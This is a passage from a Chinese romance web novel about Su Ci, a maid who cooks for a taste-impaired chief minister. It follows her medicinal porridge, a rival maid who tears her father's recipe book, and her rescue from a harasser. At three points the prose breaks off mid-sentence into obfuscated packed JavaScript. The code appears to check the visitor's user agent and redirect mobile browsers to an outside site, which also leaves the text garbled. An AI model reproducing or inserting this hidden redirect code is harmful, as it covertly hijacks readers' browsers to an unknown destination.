赵管家岂会看不出她那点攀高枝的心思，当下把算盘一推，脸沉了下来：“胡闹！大人院里是你能随意惦记的？苏慈是去掌勺，不是去当姨娘。做好你自个儿的本分，少动这些歪心思，再让我听见你编排生事，仔细你的皮，出去！” 春杏被骂得脸色红一阵白一阵，羞愤难当，随即灰溜溜地退了出去，心里对苏慈更是恨得牙痒痒。 夜已深，苏慈刚吹熄了灯，脱下外衫准备歇下，忽听院外传来一阵急促压抑的叩门声，夹杂着福安焦急的低唤：“苏慈姑娘，苏慈姑娘歇下了吗？快开开门，急事。” 苏慈心头一紧，也顾不得整肃衣冠，匆忙套上那件浅青色的窄袖褙子，系好裙带，便趿着鞋快步去开了门。 门外，福安一脸急色，额上甚至冒出了细汗。 “福安哥，出什么事了？”苏慈见他这般模样，心下更是惶然。 “大人、大人今晚在外应酬，多饮了几杯酒，回来后又未进多少饭食，方才旧疾突发，胃痛得厉害。”福安语速极快，“府里备着的寻常药汤大人嫌味重不肯用，疼得冷汗都下来了，我记得姑娘你懂些药膳，能否劳烦你赶紧做点温和易克化的，好歹让大人缓缓？” 苏慈一听，即刻点头：“我明白了，这就去。”她边说着，边跟着福安急匆匆往正院赶，路上不忘细问，“大人这胃疾很严重吗？” 福安叹气：“是前几年中毒后落下的根子，调养了许久，原本已不大犯了。今日怕是酒气冲撞，又空着肚子，这才…”他没再说下去，但语气里的担忧显而易见。 苏慈心下了然，脑中飞快思索着父亲册子上记载的温胃止痛的方子。到了小厨房，她开始点火烧水，取来一小把粳米，又寻了些温和的药材，茯苓、山药片，还有几颗去核的红枣。 动作麻利地将米淘净，药材细细冲洗过，一同放入小砂锅中，注入清水，慢慢熬煮。待米粒开花，粥汤渐稠，她又撒入少许细盐调味，最后滴上两滴暖胃的姜汁。 不过小半个时辰，一碗热气腾腾散发着清淡药香的茯苓山药粥便做好了。苏慈小心地端着粥， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353966|183616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟着福安快步走向正堂。 屋内烛火通明，温砚礼阖眼靠在软榻上，眉心紧蹙，脸色苍白中透着不正常的红晕，额发被冷汗濡湿，紧抿的薄唇甚无血色，房内散着清晰可闻的酒气。 他似是极不舒服，连呼吸都带着隐忍的沉重。 福安推了推苏慈，压低声音急道：“苏慈姑娘，快，喂大人用一些，，咱们这些人粗手笨脚，近前不得，大人此刻怕是清醒不了。” 苏慈吓了一跳，让她去喂大人？看着那张即使病中也依旧俊逸迫人的脸，她手心都有些冒汗，但见福安一脸恳求，榻上的人又确实痛苦，于是她硬着头皮，战战兢兢地走上前。 她舀起一小勺温热的粥，小心地吹了吹，才颤抖着递到他唇边。 温砚礼昏沉中，只觉一股温和的食物香气混合着一股熟悉的清气靠近，下意识地张开了嘴。 粥的温度恰到好处，软糯适口，带着淡淡的咸味和药香，滑入灼痛的胃腹，竟真的缓解了几分绞痛。 他就着她的手，迷迷糊糊地吃了小半碗，眉头渐渐舒展了些，呼吸也变得平稳，不到半刻，竟是这般沉沉睡去了。 苏慈大大松了口气，后背已惊出一层薄汗。又不敢当即离开，怕他病情反复，她思虑片刻，随后将粥碗交给福安，自己则退到离软榻不远处的圆凳上坐下守着。 夜渐深，困意袭来，她支着额头，一点一点地打着瞌睡。 翌日天还未大亮，温砚礼率先醒来。 他睁开眼，意外地发现往日发作后必然持续许久的隐痛竟消散大半，胃腹处只余难得的温适，动了动，目光随即落在不远处那个靠着桌角打着瞌睡的纤细身影上，瞳眸微怔。 少女穿着浅青色的褙子，因蜷缩的姿势更显身量纤细，乌黑发丝有些松散，露出一段白皙细腻的脖颈。她侧着脸枕在臂弯里，长睫如蝶翼般垂落，在眼下投出一小片阴影，睡得毫无防备，与平日那副小心翼翼的模样截然不同。 恰时福安端着热水进来伺候洗漱，见他醒来，忙上前低声道：“大人，您醒了？感觉可好些了？” 温砚礼视线仍落在苏慈身上，声音带着刚醒时的沙哑：“嗯。她怎么在这？” 福安连忙将昨夜之事低声回禀了一遍，末了道：“多亏了苏慈姑娘那碗药膳，又守了您大半宿。” 温砚礼听罢，眸光微动，才敛下眼眸，淡淡应了一声：“知道了。 苏慈醒来时浑身酸疼，她迷迷糊糊地睁开眼，发现自己还趴在外间的硬木圆桌上，脖颈和肩膀僵硬得厉害，稍稍一动便是一阵酸麻。 昨夜的记忆渐渐回笼，她顿时坐直身子，下意识地朝软榻方向望去，那里早已空无一人。 她揉着发酸的肩膀，心下惴惴不知昨夜后来如何了，便见赵管家走了进来，脸上带着比往日更和煦三分的笑意。 “苏慈姑娘醒了？”赵管家声音透着客气，“大人一早便出门了，特意吩咐下来，说姑娘昨夜辛苦了，今日好生歇着便是，小厨房的活计暂不用管了。” 苏慈闻言，连忙站起身，因起得急，眼前微微发黑，身子晃了一下才站稳。 待站稳，急切问道：“赵管家，大人他、他的胃疾可好些了？昨夜…” 赵管家忙不迭地点头：“好了好了，今早瞧着气色便好多了，大人还用了小半碗清粥呢，真是多亏了姑娘你昨夜那碗药膳粥，不然我们可真不知如何是好了，姑娘可是立了大功了。” 听到这番话，苏慈一直悬着的心才彻底落回了实处，浅浅吁出一口气，唇角微微弯起，露出一抹安心笑意：“大人无事便好，奴婢也没做什么，只是尽了本分。” “姑娘谦虚了。”赵管家笑着，又叮嘱了几句让她好生歇息，这才转身离去。 7. 晚膳清淡 今日无事，苏慈在窗前坐了整整下午。她仔细翻阅着自己的食谱册子，眼眸专注地扫过每一行字。 这阵子下来，她总算摸清了大人口味的些许门道，他味觉失敏，偏好极致清淡，偶尔却会让她做一碟微辣的小菜。若是合意，他会多动一两次筷，但绝不多食，不喜欢的，则是瞧都不会瞧一眼。她细心地将明日想试的几样菜色记在纸上，打算好好斟酌。 将小本子仔细收在枕下，她起身出门，想去打盆水净手。刚走出不远，眼角余光却瞥见一个熟悉的身影鬼鬼祟祟地溜进了她的小屋。 苏慈心头一跳，隐隐觉得不妙，连忙折返。刚到门口，便见春杏正从她枕下抽出那本食谱，脸上带着得意又解气的冷笑。 “你干什么。”苏慈脸色骤变，冲进屋拦在门前，声音急切拔高，“手里拿的什么？快还给我。” 春杏没料到她会突然回来，吓了一跳，下意识地将本子藏到身后，强作镇定：“嚷什么？谁拿你东西了，我不过是进来瞧瞧你有没有偷懒藏闲。” “你胡说，我亲眼看见你拿了我的本子。”苏慈气得脸颊泛红，伸手便要去夺，“那是我父亲留下的遗物，还给我。” 春杏见她如此着急，心头那股被训斥而积压的怨气瞬间化为扭曲的快意。她故意将本子举高，晃了晃：“哦？原来是爹娘留下的宝贝啊，怪不得当眼珠子似的藏着，我偏要看看是什么见不得人的东西。” “你还给我。”苏慈急得眼圈都红了，扑上去想抢回来。 两人顿时扭扯在一起。春杏虽个头矮小，却比苏慈壮实些，存心欺辱，见她越是着急，越是兴奋，竟猛地用力，“嗤啦”一声脆响，将那本就旧损的册子从中撕成了两半。 这声脆响，如同撕裂了苏慈的心肺，痛得几乎窒息。这是父亲的留给她的遗物，是她仅存的念想了。 “春杏！”一直温婉柔顺的苏慈第一次爆发出如此尖锐的哭喊，所有的委屈、愤怒和心痛于心口冒了出来。她像只被彻底激怒的小兽，咬牙扑上去，用尽全身力气将春杏推开。 春杏没料到她敢动手，踉跄着撞在桌角，吃痛之下也火了，尖叫着抓住苏慈的头发。两人顿时撕打在一起，发髻散乱，衣衫不整，指甲在对方手臂上划出血痕。苏慈拼死护着那被撕坏的册子，哭得撕心裂肺。 动静闹得太大，早有仆役报了上去。温砚礼回府时，恰巧听得此事，脸色当即沉了下来。 正堂里灯火通明，气氛压抑得吓人。温砚礼端坐主位，面沉如水。下面跪着的两人皆鬓发散乱，脸上挂彩，狼狈不堪。 春杏抢先哭诉，指着苏慈颠倒黑白：“大人明鉴，是苏慈先动手打人，奴婢只是好心帮她收拾屋子，她不由分说就扑上来又打又骂。” “闭嘴。”温砚礼冷斥一声，转而看向一旁哭得眼睛红肿如桃的苏慈。她的脸上清晰印着几道红痕，嘴唇被咬得失了血色，手里还攥着那本被撕成两半的破旧册子，单薄的肩膀压抑不住地颤抖，看着可怜极了。 “你说。”他看向她，音色沉淡，给了她开口的机会。 苏慈睁着哭红的眼，看向座上那冷峻的男人，嘴唇抖动着半天才说出一句话：“大人，那是、那是我父亲留给奴婢唯一的遗物，春杏她偷闯入房，强行夺去，还将它、将它撕毁了…”她说不下去了，低头看着手里残破的册子，心都要碎了，没想到她连父亲留下的最后一点念想都没守住。 温砚礼自然没错过春杏那点闪烁的眼神，当下明了几分：“赵福。” 修长指节在紫檀木桌面上不轻不重地叩了两下，却让候在一旁的赵管家浑身一颤。 “你平日便是这般管理府内事务的？由得奴婢偷窃私物，毁人遗物，还敢公然厮打？” 赵管家噗通一声跪倒在地，冷汗涔涔：“老奴失职，老奴该死，求大人恕罪。” 温砚礼垂着眼皮嗤笑，随即将目光落回春杏身上，沉默片刻，道：“既然这般爱撕扯东西，便让她撕个够，福安。” 候在一旁的福安走上前：“小的在。” “去取库房里那些用不着的旧镇纸来，要石料的、铜铁的，看着她撕，撕不完，不准停。” 春杏吓得魂飞魄散，涕泪横流地磕头求饶：“大人饶命，奴婢知错了，再也不敢了，大人…” 温砚礼却已起身，衣袍拂过地面，再无停留余地，径直离去。 苏慈怔怔地看着这一切，手里那本食谱仿佛还残留着父亲指尖的温度，可此刻，她心里好似空了一大块，冷风呼呼地往里灌。她甚至没有感到分毫快意，最后也不知道自己是怎么回到那间小屋的。 当夜，春杏徒手撕扯镇纸的哀嚎声响持续了许久，十指很快便鲜血淋漓。 苏慈在自己的小屋里，听着隐约传来的动静，抹着眼泪将那本破碎的食谱一页页抚平，试图拼凑回去，眼泪一滴滴落在父亲的字迹上，晕开一片模糊。 天色微亮，手指尽毁的春杏便被拖上马车，直接发卖出了府。 苏慈对着水盆里晃动的倒影，仔细将散落的发丝抿好，又用冷毛巾敷了敷微肿的眼皮。她深吸一口气，将昨夜的委屈强行压回心底。 父亲留下的册子虽破了，但上面的字迹还在，她得活下去，好好地活下去。 收拾停当，她准时来到主院伺候早膳。踏入厅堂时，她的心仍不免悬着，指尖蜷了蜷，低垂着眼，不敢去看首座上的那人。 温砚礼慢条斯理地用着一碗清粥，姿态十足优雅矜贵。听到脚步声，他眼皮未抬，直到苏慈将一碟新拌的爽口小菜轻轻放在他手边，他才似不经意地瞥了她一眼。 舀起一勺粥，送入唇边前，他淡淡开口：“不难过了？” 苏慈没想到他会主动问起，愣了一下，随即低下头：“回大人，难过也无用。事情既已发生，奴婢只能往前看。”她顿了顿，真心实意地补了一句，“昨日，多谢大人为奴婢做主。” 温砚礼闻言，哼了一声，似乎对她这番豁达的言论不置可否。他又多看了她一眼，见她虽面色微白，眼底却并无怨毒之色，反倒有股韧劲，心下微觉意外，觉得这丫头心胸倒不算狭隘。 但出口的话仍旧刻板：“府里清净之地，本官不喜见人争执厮打，扰人清静。日后安分些。” “是，奴婢记住了。”苏慈低声应道，心里明白，他出手惩戒春杏，并非为她，而是为了府里的规矩。 一时无话，只有细微的餐具轻碰声。温砚礼用完半碗粥，放下银箸。 空气中那股极淡的皂角清气，又若有似无地飘了过来，径直钻入他的鼻腔。 他眉梢微动，状似无意地开口，目光落在虚空处：“你没擦香粉？” 苏慈收拾碗碟的手一顿，茫然抬头：“香粉？回大人，奴婢没有用香粉的习惯。”她每日清洗都只用最普通的皂角，哪来的闲钱购置香粉。 “嗯。”温砚礼收回视线，淡道，“知道了。”心中那点异样感却再次盘旋升起，为何独独能闻到她身上的气息？ 苏慈心下疑惑，但不敢多问，默默收拾好东西，退了出去。 到了下午，赵管家便将府中所有仆役召集到一处，板着脸，声色俱厉地将昨日之事又说了一遍，敲打众人：“都给我听好了，从今往后，府里绝不许再出现这等厮打吵闹、以下犯上的事，谁要是骨头轻了，不安分，春杏就是下场。都给我把皮绷紧点，老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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揣着满怀的希冀，她脚步轻快地往回走，想着赶紧将银钱收好。刚穿过月洞门，却不期然遇上了刚从外面回来的温砚礼。 他身着月白常服，身姿挺拔，正负手缓步而行，面上是一贯的疏冷。 苏慈忙敛了笑容，垂首避让到一旁，屈膝行礼：“大人。” 温砚礼脚步未停，眼眸却在她残留欣喜的脸上一掠而过，脚步微顿，竟是破天荒地多问了一句：“何事如此高兴？” 苏慈没料到他会问这个，略一迟疑，还是老实答道：“回大人，今日发了月钱。” 温砚礼闻言，似是觉得这理由微不足道又理所当然，“哦”了一声，继续朝前走去。只是走出两步后，又像是忽然想起什么，头也未回地丢下一句：“晚膳做些清淡的，今日没什么胃口。” “是，奴婢知道了。”苏慈连忙应下，看着他的背影远去，才直起身，轻轻拍了拍揣着银钱的荷包，将那点被打断的欢喜又悄悄拾了回来。 她快步回到小屋，将钱袋仔细藏好，迅速转身赶往小厨房。 一进门，竟见张嫂和钱嫂子早已在了，一个在主动刷洗灶台，一个在归置碗碟。见她进来，两人脸上竟挤出几分不算自然的笑。 “苏慈妹妹来了？”张嫂子放下抹布，语气甚至带上了几分殷勤，“晚上要做什么？可有要咱们帮忙的，这菜啊肉啊，要不要先切配出来？” 钱嫂子也忙附和：“是啊是啊，你掌勺辛苦，这些杂活儿咱们来就行。” 苏慈心下诧异，不知这两人今日为何转了性子，但有人帮忙总归省力，她便也温言道：“那便有劳两位嫂子了，大人吩咐今日要清淡些，劳烦张嫂将那条鱼处理干净，钱嫂子帮我把那小块里脊肉切成细丝吧。” 两人连声应下，手脚麻利地动起来，竟比平日听话百倍。 8. 奶白鱼汤 苏慈走到水缸边，看着里面游动的鲜鱼和旁边一块新鲜的猪肉，心里已有了计较。既然大人胃口不佳，便更需在清淡中寻些鲜味才好。 她先取过张嫂子处理好的鱼，用干净的布巾吸干水分，在鱼身两面细细划上几刀，抹上极细的盐和少许姜汁，腌制在一旁。随后起了一只小砂锅，注入清甜的井水，放入几片火腿薄片，香菇，姜片，慢慢熬煮汤底。 那边钱嫂子已将肉丝切好，苏慈接过，用少许蛋清，盐和淀粉抓匀，让肉质更显嫩滑。汤底滚起，鲜味渐出，她将鱼整条滑入锅中，转为小火，让鱼肉的鲜嫩慢慢融入汤中。 另起一炒锅，烧热，只滴入少许素油，便将上好浆的肉丝滑入快速翻炒，待肉丝变白，立刻投入早已备好的嫩笋丝和葱段，略加翻炒，便调入少许盐和一滴提鲜的酱汁，快速出锅，盛入盘中，肉丝嫩滑，笋丝清脆，色泽清淡可人。 最后，她又快手烫了一碟碧绿的菜心，整齐码放在白瓷碟中。 三菜一汤，鱼汤奶白，肉丝嫩白配着嫩黄笋丝与翠绿葱段，炒青菜碧绿欲滴，看着便觉清爽适口。苏慈做事时神情专注，偶尔因灶火热气，鼻尖渗出细密的汗珠，她便抬起手腕，用袖角轻轻拭去，动作轻巧认真。 待到饭菜备齐，她轻轻吁了口气，盼着这般清淡鲜美的菜肴，能稍稍勾起那位大人的一丝食欲。 晚膳时分，苏慈将精心备好的三菜一汤逐一摆上桌。温砚礼对菜式多寡从不计较，只需合口，她便也依着惯例，只做了几样 她先小心地盛了一碗奶白色的鱼汤，轻轻放到温砚礼手边，声音温软：“大人，这鱼汤趁热喝最是鲜美，您尝尝。” 温砚礼看向汤碗，眉头一蹙，并未动作。 苏慈知晓他是嫌鱼腥，连忙轻声解释：“大人放心，这鱼是活杀的，用姜汁细细腌过，又去了腥筋，汤里只放了火腿和香菇提鲜，断不会有腥气的。” 温砚礼闻言，抬眸瞥了她一眼，见她一双眼睛澄澈认真，不似作伪，这才淡淡“哦”了一声，算是信了。他拿起汤匙，舀了半勺，送入唇边。 汤温热适中，入口果然只有火腿的咸鲜与鱼肉的清甜，并无半点令人不悦的腥味。他沉默地又喝了几口，虽未称赞，却也未放下。 苏慈侍立一旁，看着他这般“听话”地喝汤，与平日挑剔的模样迥异，心下竟觉得有几分莫名的好笑，像瞧着个别扭的孩子。她赶紧垂下眼睫，掩去眼底快溢出的笑意，好在无人察觉。 用过几口饭菜，堂内一时寂静。苏慈想起明日旬休之事，斟酌着开口，声音比方才更轻缓些：“大人，明日是奴婢休沐的日子。” 温砚礼夹菜的动作顿了一下，并未抬头，只从喉间溢出一个单音：“嗯？”示意她继续。 苏慈悄悄瞥了眼他的神色，见他并无不悦，才接着道：“奴婢明日想出府办些私事，午间便不在府中了，特向大人告假。”她说完，心微微提着，不知他是否会准。 温砚礼吃完筷尖的笋丝，才放下银箸，取了帕子拭了拭嘴角，语气平淡：“知道了。”既没说不准，也没说准，但苏慈知道，这已是默认了。 见他用完膳，苏慈上前准备收拾碗筷。忙活了一晚上，她的肚子早已饿得咕咕叫，只盼着赶紧收拾完去后厨用些饭食。 刚端起一个盘子，却听座上那人忽然开口：“去哪儿？” 苏慈一愣，停下脚步，回身恭谨答道：“回大人，奴婢去将碗筷送回厨房，然后、然后用饭。” 温砚礼闻言，眉梢微挑，似乎有些意外：“你平日都是等本官用完，自己才去用饭？” 苏慈更觉疑惑，这不是府里下人的规矩么？她点点头：“是，大人。” 温砚礼看着她那张微微泛红的脸颊，沉默了片刻。烛光下，她能清晰地看到他长而密的睫毛垂下的阴影，以及那俊美却总透着冷意的侧脸线条。他忽然挥了挥手：“去吧，用完饭便回去歇着，今晚不必再过来伺候了。” 不必熬夜等候随时可能的传唤？苏慈眼前骤然一亮，连忙屈膝行礼，声音轻快了不少：“是，谢大人，奴婢告退。” 她端起碗碟退了出去，那抹纤细的身影很快消失在门廊的阴影里。温砚礼独自坐在灯下，手指无意识地敲了敲桌面，目光落在窗外沉沉的夜色上，不知在想些什么。 翌日上午，天色晴好。 苏慈换下平日的婢女服饰，穿上了一身自己带来的藕荷色细布裙衫。虽不是什么名贵料子，却衬得她肌肤愈发白皙细腻，纤细的腰身也勾勒了出来。 她对着水盆模糊的倒影稍稍理了理鬓发，脸面莹润生光，眼里含着些许出府的期待，唇色自然红润，愈发清新动人。 遂来寻她的小荷瞧见了，忍不住围着她转了一圈，啧啧称赞：“苏慈，你穿这身可真好看，平日里真是埋没了。” 苏慈被她夸得有些不好意思，脸颊微红，抿唇笑了笑：“快别打趣我了，不过是件寻常衣服。时辰不早了，我们快些走吧。” 两人说笑着出了门，沿着青石小径往府外走。 途径正院外的回廊时，苏慈想着休沐的事，脚步都轻快了几分，裙裾微扬，勾勒出窈窕的背影。 恰在此时，温砚礼正从书房出来，欲往院中去。眼眸不经意掠过回廊，恰好捕捉到那一抹渐行渐远的藕荷色身影。那身影纤细轻盈，与平日低眉顺眼的婢女模样截然不同，阳光下，甚至能看清她微微扬起的唇角。 他的脚步微顿，视线在那背影上停留了一瞬，直到那抹亮色消失在月洞门外。随即面无表情地继续往前走，跟在他身后的福安却察觉到大人似乎有那么一刹那的走神。 走了几步，温砚礼忽然开口，像是随口一问：“府里下人，一般每月休沐几日？” 福安忙躬身答道：“回大人，按府里的旧例，各处的仆役若无特殊情况，每月一般是三日休沐。” “三日。”温砚礼低声重复了一句，随即道，“知道了。” 福安心里开始嘀咕起来，大人何时关心起这等微末小事了？ 午膳时分，小厨房依例送来了饭菜。自然也有一碗鱼汤，是张嫂费心熬煮的，汤色看着也奶白。 温砚礼在桌前坐下，照例先舀起一勺鱼汤送入口中。然而，汤匙刚触及嘴唇，他的眉头便猛地蹙紧。那汤入口，却全然不是昨日那般清鲜醇厚的滋味，一股明显的腥气夹杂着某种过重的调料味直冲喉头，与他记忆中那恰到好处的鲜美截然不同。 “噗。”他当即侧过头，将口中那点汤尽数吐在了一旁的漱盂里，脸色沉了下来，将汤匙重重搁回碗中，发出清脆的磕碰声。 侍立一旁的福安吓得心肝一颤，只见大人面色不虞，薄唇紧抿，那周身散发的冷意分明是发作的前兆。他额角冒汗，脑子飞快转动，想起苏慈今日不在府中，这鱼汤定然不合口味。 心一横，他硬着头皮上前一步，小心翼翼地提议：“大人，可是这些菜都不合胃口？今日天气甚好，不如、不如您出去散散？兴许走动走动，能舒散些心绪，待会儿也能有些胃口？” 他说完这话，心里七上八下，已经预备好承受大人的斥责。毕竟大人平日最不喜无谓的出行。 然而温砚礼竟没有发怒，沉默了片刻，眸子扫过窗外明晃晃的阳光，不知想到了什么，居然“嗯”了一声。 福安差点以为自己听错了，愣了一瞬才反应过来，连忙迭声应道：“是是是，小的这就去准备轿马，大人您稍候。” - 与小荷在街边小摊吃了碗热腾腾的馄饨，又去布庄挑了好一会儿料子，苏慈心里始终惦记着那本破损的册子。见小荷对着一匹桃红色细布爱不释手，她便轻声道：“小荷，前头有家修补古籍字画的铺子，我想去问问，不远，就在那条巷口。” 小荷正比划着布料，头也没抬：“诶，好，苏慈你去，我再看会儿。” 苏慈笑了笑，独自朝那巷口走去。刚走出不远，眼角余光瞥见街角停着一顶眼熟的青呢轿子，轿旁侍立的那人，更是像极了福安哥。她心下好奇，不由得多看了两眼，竟真是大人的轿辇，他怎会来这市井喧闹之地？ 正疑惑间，轿帘微动，似乎里面的人也正看向窗外。苏慈心头一跳，赶紧收回目光，不敢多看，低头加快了脚步，心想大约是大人公务途径此地吧。 她却不知，轿内的温砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我能做什么？不过是和自家妹妹说说话。”苏旺嘿嘿笑着，攥得更紧。 这一幕，恰好被一直留意着这边的福安看得清清楚楚。他倒吸一口凉气，赶紧凑到轿窗边，急声道：“大人，您快看，那个无赖又缠上苏慈姑娘了。” 轿帘微掀，露出一双冷冽的眸子。 温砚礼眼神扫过，恰巧看见苏旺抓着苏慈的手腕，苏慈奋力挣扎，面露痛楚的模样。他脸色一沉，放下轿帘，冷声道：“去，把人料理了。” “是。”福安朝身后两个护卫使了个眼色。那两人如虎狼般扑上前去，二话不说，一把将苏旺从苏慈身边扯开，按倒在地，拳头脚踢便如雨点般落下，专往痛处招呼，打得苏旺嗷嗷惨叫，顷刻间便鼻青脸肿。 苏慈骤然得脱，捂着发疼的手腕，惊魂未定地喘息着。她一抬眼，就看见那乘熟悉的轿子停在不远处，轿帘掀起，温砚礼面无表情地看着这边。 她心下一慌，也顾不得手腕疼痛，连忙快步走到轿前，福了福身：“大人。” 温砚礼没看她，只对福安道：“把那人带过来。” 福安应声，像拖死狗一样将哀嚎不止的苏旺拖到轿前。 温砚礼缓缓走下轿来，颀长身形在日光下威严迫人。他看着苏旺那只刚才抓着苏慈的手，眼神冰寒，抬起脚，官靴底狠狠碾了上去。 “啊——”苏旺发出杀猪般的惨嚎，手指骨节被踩得咯咯作响。 “这只手，”温砚礼声音淡然，字字却如冰珠砸落，“伤了她的手，你让本官吃什么？” 脚底缓缓用力，苏旺疼得涕泪横流，不住地求饶：“大人饶命，小人知错了，小人再也不敢了，求大人高抬贵脚，饶了小人这条贱命吧。” 苏慈站在一旁，听着苏旺的惨叫声和温砚礼那番话，心里明白，他这般动怒，大抵只是因为苏旺伤了他目前还算合意的厨娘的手，碍了他的口腹之欲。 但即便如此，他这般维护，还是让她心生感激，至少解了她眼前的困境。 “福安，”温砚礼嫌恶地松开脚，仿佛踩了什么脏东西，“把他送去衙门，告诉赵府尹，寻衅滋事，冲撞朝廷命官，关上个把月，清醒清醒脑子。” 9. 酱骨架 “是。”护卫利索地将瘫软如泥的苏旺拖走了。 苏慈这才上前，声音还带着些微颤：“多谢大人解围，您、您怎么来了？” 温砚礼却没回答，垂眸扫过她微微发白的脸颊：“你在此处做甚？” “奴婢刚去那家铺子，询问修补旧册子的事。”苏慈老实地指向不远处的店面。 这时，小荷怯生生地找了过来，往那探头一见大人竟也在，吓得脸都白了，凑近苏慈，支吾着说了句“想起还有些东西要买”便飞快地溜走了。 福安也趁机蹭到苏慈身边，压低声音飞快道：“苏慈姑娘，大人今日胃口不佳，午膳都没用呢，你看这…” 苏慈闻言，心下了然，又感念他方才解围，便鼓起勇气轻声提议：“大人若是不嫌弃，前头有家茶楼，点心做得还算清爽，您要不要去歇歇脚，用些茶点？” 温砚礼瞥了她一眼，未置可否，率先迈腿走了出去。 茶楼雅间清静。苏慈点了几样招牌的清淡糕点和一壶上好的龙井。点心很快送上，玲珑精致。 温砚礼拈起一块晶莹剔透的水晶糕，放入口中，刚咀嚼片刻，眉头就蹙了一下，还是尝不出任何滋味，如同嚼蜡。 苏慈在一旁小心观察着他的神色，见状便轻声描述起来：“这水晶糕是用糯米粉混了菱角粉蒸的，口感该是软糯清弹，带着些微甜，里头裹了一小颗蜜渍的金桂，嚼开了会有淡淡的桂花香气。” 温砚礼动作一顿，抬眸看了她一眼，依言又尝了一口，似乎在感受那“软糯清弹”的质感。 苏慈又将一碟松软的云片糕推近些：“这云片糕层层叠叠，入口即化，该有松仁和糖桂花的香气，甜而不腻。” 他便又尝了一片云片糕。 福安守在门外，透过珠帘缝隙看着里头这罕见的一幕，那位从来对吃食深恶痛绝，稍不合意便要发作的大人，竟真的依着一个小丫头的话，慢慢用了好几块点心。他暗暗咂舌，心里嘀咕，这苏慈姑娘，怕是真有点不一样的本事。 用罢茶点，日头已微微西斜。苏慈心下惦记着那本册子，便向温砚礼请示：“大人，奴婢想去铺子瞧瞧老师傅修补得如何了，片刻即回。” 温砚礼略一颔首，算是应允。 苏慈快步回到那家老铺，老师傅正就着窗棂透入的光线，极仔细地用细针穿着匹配的丝线缝合册页。 见她进来，老师傅抬头道：“姑娘来了？这活儿急不得，纸张脆了，得一点点捋平了对缝，怎么也得两三日的功夫。” 苏慈闻言，心下虽急切，却也知欲速则不达。她微微蹙眉：“还要这么久，只是我平日出府不便。” 一旁的福安听了，笑着接话：“苏慈姑娘放心，这事儿包在我身上。届时修补好了，我替你跑一趟取回来便是，定给你保管妥当。” 苏慈顿时松了口气，脸上绽开感激的笑，忙向福安屈膝行礼：“如此便多谢福安哥了，真是麻烦您了。” “举手之劳，苏慈姑娘客气什…”福安话音未落，身后那顶安静的青呢轿子里便传来一声不轻不重的咳嗽声。 福安一个激灵，敛了笑容，转身恭敬道：“大人，您看这时辰也不早了，是否该回府了？” “嗯。”轿子里传来一声淡淡的回应。 苏慈也赶紧应了声“是”，乖巧地跟在轿子旁。她不敢与大人同乘，便随着轿夫一同步行，街道上熙熙攘攘，夕阳将她的身影拉得细长。 走着走着，苏慈想起晚膳还未着落，便隔着轿帘，轻声试探着问：“大人，晚膳，您可有想用的菜式？” 轿内沉默了片刻，才传来那懒洋洋的回应：“随便。” 这“随便”二字最是难办。苏慈抿了抿唇，脑中飞快思索。忽然，一样久违的食物跃入脑海，那是父亲还在时，偶尔得了闲，总会亲自下厨给她做的一道菜，浓香扑鼻，总能让她吃得格外满足。 她下意识地脱口而出：“那…奴婢晚上给您做一道酱骨架可好？是奴婢、是奴婢小时候家里常做的，咸香入味，很是下饭。” 话一出口，她忽觉有些僭越，怎能将这等粗陋的家常菜说给首辅大人。正忐忑间，却听轿内传来一声“嗯”。 竟是准了？ 苏慈怔了一下，随即悄悄松了口气，紧绷的肩线微微放松下来。 - 翌日上午，首辅府朱红大门外传来阵阵撕心裂肺的哭嚎声，打破了往常的肃静。 两个妇人披头散发地坐在石阶前，拍着大腿，哭天抢地。 “青天大老爷啊，冤枉啊，我孙子好好一个读书人，怎么就平白被抓紧大牢里去了！” “没天理了啊，首辅大人您可不能偏听偏信，被那起子小狐狸精迷了心窍啊，我儿子冤枉啊。” 赵管家闻声出来，眉头拧成了疙瘩，一打听，果然是昨日那苏旺的祖母和母亲。 这苏家是京城里出了名的破落户，惯会胡搅蛮缠。 不知从哪打听到是苏慈在大人面前说了话，才让苏旺下了狱，今日便堵上门来撒泼，嘴里还不干不净地骂着“狐狸精”、“祸水”。 消息很快传到后院，苏慈当时在做着针线，听闻此事，手指一颤，针尖险些扎进肉里。脸色微微发白，她放下手中的活计，走到通往前院的月亮门边，远远便能听见那尖锐刺耳的哭骂声，鼓起勇气隔着缝隙向外望，只见那两位妇人形容癫狂，骂声不堪入耳，周围聚集的人越来越多。 她心口一阵发紧，又气又怕，更多的是一种无力感，她只是想过安生日子，为何这些麻烦总要找上门？ 眼里渐渐地蒙上一层水汽，却强忍着不肯落下。 赵管家带着几个家丁上前驱赶，好言相劝无效，便冷了脸呵斥。 可那两个妇人如同滚刀肉，丝毫不惧，反而哭嚎得更响，甚至作势要往家丁身上撞，撒泼打滚，弄得赵管家束手无策，额头冒汗。 这市井泼妇，打不得骂不听，最是难缠。 就这样闹哄哄地僵持了近一日。 傍晚时分，温砚礼下值回府，官轿刚在府门前停稳，那苏老夫人眼尖，竟一把挣脱开家丁，猛地扑到轿前，挡住去路，哭喊着：“首辅大人，您可得为民妇做主啊，您府上那个叫苏慈的小贱人，她勾引我孙子不成，就诬告他，您可不能…” 